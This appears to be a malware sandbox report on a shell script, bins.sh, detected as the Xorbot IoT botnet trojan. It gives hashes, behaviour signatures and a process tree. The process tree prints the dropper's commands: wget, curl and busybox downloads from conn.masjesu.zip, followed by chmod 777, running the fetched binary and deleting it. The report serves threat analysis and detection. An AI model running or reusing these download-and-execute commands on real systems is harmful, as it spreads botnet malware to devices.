Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    11s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/12/2024, 15:28

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cb16380cf509277eec9f1b0e1506720c

  • SHA1

    54cfb023dbb8ffff117ccd3152621c482d26d480

  • SHA256

    a665a16ba49682c6dfd69b135542ffcb25d8d61746c7d8127e135e8bc81e00f3

  • SHA512

    b8a0eb43de5b0154fb16438423198451fe8c0dccb7f9c029798768e8dbb13b384bc7e4028d7d6f893dcb634a72d45e12a383dbb6cc60d3523c28658695c89b01

  • SSDEEP

    96:YQMRLn8vLtltFtitpZLHbgL8AhyGPEZtttOH1HVH6YMraA8q23Ln5KC7LztmXnzc:7QQ2wV/uzW1swnw2DhuzW1swkmk+

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          2⤵
          • System Network Configuration Discovery
          PID:665
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:671
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          2⤵
          • System Network Configuration Discovery
          PID:688
        • /bin/chmod
          chmod 777 J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          ./J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ
            2⤵
            • System Network Configuration Discovery
            PID:694
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:695

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • /tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
          Filesize

          99KB

          MD5

          9438d9bc392bcf300a5583b6df5bc8f6

          SHA1

          375a6ae34b516f6f3eeea8030c4084f585017efa

          SHA256

          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

          SHA512

          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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